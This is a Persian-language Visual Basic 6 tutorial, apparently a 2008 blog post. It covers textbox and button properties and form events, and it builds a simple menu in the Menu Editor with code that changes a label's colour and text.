Alignment: تراز متن (چپ، راست، وسط)

Locked: اجازه تایپ را از کاربر می گیرد.

MaxLenght: حد اکثر تعداد حروفی را که باید نوشته شود نمایش می دهد.

MultiLine: با ست کردن آن کاربر می تواند در چند خط متن خود را بنویسد.

PasswordChar: برای گرفتن اطلاعات محرمانه استفاده می شود. مثلا اگر* را در این قسمت قرار دهید هر حرفی را که تایپ کنید به جای آن این علامت را قرار می دهد.

ScrollBar: با این خاصیت میله های لغزشی این کنترل فعال می شود (افقی،عمودی یا هر دو). این خاصیت زمانی معنی دارد که MultiLine فعال باشد.

Text: معادل متن موجود در جعبه متن.

کنترل دکمه فرمان: این کنترل می تواند از برنامه تقاضای کاری را بکند یا به آن فرمان دهد.

Caption: عنوانی که بر روی دکمه دیده خواهد شد.

Picture: می توان با این خاصیت تصویری را رو دکمه قرار داد.

Style: وضعیت دکمه را نشان می دهد. اگر گزینه Graphical انتخاب نشود خاصیت Picture بی اثر است.

روال رویداد: در ویندوزرویداد های(Events)  زیادی رخ می دهد. ویندوز این رویداد ها را بررسی می کند که این رویداد مربوط به کدام برنامه ی در حال اجراست. در این موقع به برنامه خبر می دهد که این رویداد اتفاق افتاده است. اکثرا این رویدادها مربوط به موس یا کیبورد است. مثل کلیک وتایپ متن. ما می توانیم با نوشتن تابعی به این رویداد ها پاسخ مناسبی بدهیم. به این معنی که ما تابعی می نویسیم که اگر رویداد خاصی رویداد برنامه دستور های ما را اجرا کند. مثلا با کلیک روی دکمه فرمان از برنامه خارج شود.

هر کنترل رویداد های خاصی برای خود دارد. البته بعضی از آنها نیز مشترک است. هر کنترل می تواند تابعی برای هر رویداد خود داشته باشد. مثلا یک دکمه فرمان می تواند روالی برای رویداد کلیک و روالی برای رویداد کلیک راست بنویسیم. برای هرکنترل نیز باید یک تابع نوشت. مثلا اگر برنام سه دکمه فرمان داشته باشد برای هر یک باید یک روال نوشت.

رویدادهای مهم

Active: وقتی روی می دهد که فرم فکوس را در اختیار گیرد.

Click: وقتی روی می دهد که بر روی شیئی یک بار یکی از کلید های موس را بزنیم. اینکه کدام کلید زده خواهد شد قابل تشخیص است.

DblClick: وقتی روی می دهد که روی شیئ دو بار کلیک شود.

Deactive: وقتی روی می دهد که فرم فکوس را از دست می دهد.

Initialize: وقتی روی می دهد که فرم برای بار اول به وجود می آید.

Load: وقتی روی می دهد که فرم وارد حافظه فعال می شود و فرم ظاهر می شود.

Paint: وقتی روی می دهد که ویندوزمجبور می شود قسمتی از فرم را مجددا ترسشیم کند.

Resize: وقتی روی می دهد که کاربر اندازه فرم را تغییر دهد.

Unload: وقتی روی می دهد که فرم از حافظه فعال خارج شود.

Change: وقتی روی می دهد که کاربر متن جعبه متن را تغییر دهد.

نوشتن روال رویداد:گفتیم که هر کنترل می تواند رویدادهای زیادی داشته باشد.VB به هر رویداد نامی اختصاص می دهد. به این صورت:

() نام رویداد_نام کنترل

مثل:

Command1_Click()

اگر روی هر کنترل دو بار کلیک کنید VB رویداد مربوط به آن کنترل که استفاده بیشتری دارد برای شما محیا می کند. برای نوشتن کد روش دیگری هم وجود دارد. باید کلید View Code  واقع در پنجره Project  را فشار دهید.

در پنجره ای که باز می شود دو لیست کشویی وجود دارد. لیست سمت چپ لیست کنترل های موجود در فرم است. ولیست سمت راست مربوط به رویداد های مخصوص این کنترل هاست. اگر چندین تابع داشته باشید VB به صورت خودکار میان آنها را با خط جداکننده جدا می کند.

اگر مثلا یک دکمه فرمان را از لیست سمت چپ انتخاب کنید متن زیر بر روی صفحه اشکار می شود.

Private Sub Command1_Click()

 

End Sub

Private می گوید که از این روال فرم های دیگر نمی توانند استفاده کنند. Sub و End Sub فرمان مخصوص نوشتن تابع است. که فرمان ها بین این دو باید نوشته شود.

 

امروز یاد می گیریم چگونه به سادگی یک منو به برنامه ی خود اضافه کنیم.

ابتدا یک برچسب به نام lblMenu ایجاد کنید.

ابزار منو ساز ویراستار منو (Menu Editor) نام دارد که شمایل آن  است. با زدن این شمایل شکل روبرو ظاهر می شود. برای آشنایی با طرز کار آن یک منوی ساده با هم می سازیم.

ویراستار منو را باز کنید. Caption را File و Name  را mnuFile قرار دهید. کلید Next را فشار دهید. عنوان منوی بعدی را Color و نام آن را mnuColor قرار دهید. عنوان منوی بعد را Message و نام آن را mnuMessage قرار دهید. منوی دوم را انتخاب کنید و کلید Insert را فشار دهید.شمایلرا فشار دهید. یک ... ظاهر می شود. این بدین معنی است که گزینه ای که خواهید نوشت زیرمجموعه ی منوی File است. عنوان را Exit و نام را mnuExit وارد کنید.

منوی دوم سه گزینه دارد: Red, Green, Blue. این ها را مثل گزینه های گذشته نام گذاری کنید. چون در هر لحظه یک گزینه می تواند فعال باشد بهتر است از منو های چک دار استفاده کنیم. برای این کار Checked تیک بزنید.

منوی Message نیز سه گزینه دارد. Initial Message به نام mnuInitial. روی Checked نیز تیک بزنید.عنوان بعدی را (-) بگذارید تا یک خط جداساز شکل بگیرد.نام آن را Separator بگذارید. عنوان بعدی را Hello وبعدی را Welcome بگذارید.

کد نویسی برا منو: با کلیک کردن روی هر گزینه VB رویداد Click آن را برای شما فعال می کند. همانطور که قبلا گفته شد شما می توانید به کنترل ها و رویداد های آن در پنجره کدنویسی توسط دو لیست کشویی بالای آن دسترسی داشته باشید. کد زیر را بنویسید.

Private Sub mnuBlue_Click()

          lblMenu.BackColor = vbBlue

          mnublue.Checked = True

          mnuGreen.Checked = False

          mnuRed.Checked = False

End Sub

Private Sub mnuGreen_Click()

          lblMenu.BackColor = vbGreen

          mnublue.Checked = False

          mnuGreen.Checked = True

          mnuRed.Checked = False

End Sub

Private Sub mnuRed_Click()

          lblMenu.BackColor = vbRed

          mnublue.Checked = False

          mnuGreen.Checked = False

          mnuRed.Checked = True

End Sub

Private Sub mnuInitial_Click()

          lblMenu.Caption = “Select a mnue option”

          mnuInitial.Checked = True

          mnuHello.Checked = False

          mnuWelcome.Checked = False

End Sub

Private Sub mnuHello_Click()

          lblMenu.Caption = “Hello”

          mnuInitial.Checked = False

          mnuHello.Checked = True

          mnuWelcome.Checked = False

End Sub

Private Sub mnuWelcome_Click()

          lblMenu.Caption = “Welcome”

          mnuInitial.Checked = False

          mnuHello.Checked = False

          mnuWelcome.Checked = True

End Sub

عملگر(.) خواص یک شیئ را در اختیار ما قرار می دهد. خاصیت Checked دو مقدار درست و نادرست می گیرد.اگر این خاصیت را به True ست کنیم منو تیک می خورد

 

                                            صنم

+ نوشته شده در  یکشنبه هجدهم فروردین 1387ساعت 23:18  توسط Honarestan noavaraN  |